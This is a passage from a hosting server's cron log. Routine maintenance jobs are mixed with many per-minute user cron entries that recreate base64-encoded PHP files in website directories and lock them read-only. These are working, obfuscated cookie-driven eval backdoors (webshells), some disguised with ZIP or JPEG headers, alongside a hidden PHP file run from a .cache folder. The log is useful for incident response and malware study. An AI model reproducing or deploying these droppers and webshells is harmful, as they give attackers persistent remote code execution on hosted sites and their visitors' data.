RfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:03:01 medusa CROND[6200]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:04:01 medusa CROND[28138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:04:01 medusa CROND[28241]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:04:01 medusa CROND[28242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:04:01 medusa CROND[28243]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:04:01 medusa CROND[28244]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:04:01 medusa CROND[28249]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:04:01 medusa CROND[28250]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:04:01 medusa CROND[28252]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:04:01 medusa CROND[28253]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:04:01 medusa CROND[28254]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:04:01 medusa CROND[28255]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:04:01 medusa CROND[28256]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:04:01 medusa CROND[28259]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:05:01 medusa CROND[18895]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:05:02 medusa CROND[18947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:05:02 medusa CROND[19013]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:05:02 medusa CROND[19014]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:05:02 medusa CROND[19017]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:05:02 medusa CROND[19019]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:05:02 medusa CROND[19020]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:05:02 medusa CROND[19018]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:05:02 medusa CROND[19022]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:05:02 medusa CROND[19024]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:05:02 medusa CROND[19023]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 09:05:02 medusa CROND[19029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:05:02 medusa CROND[19033]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:05:02 medusa CROND[19039]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:05:02 medusa CROND[19042]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:05:02 medusa CROND[19043]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:05:02 medusa CROND[19044]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:05:02 medusa CROND[19047]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:05:02 medusa CROND[19038]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:05:02 medusa CROND[19049]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:05:02 medusa CROND[19054]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:05:02 medusa CROND[19046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
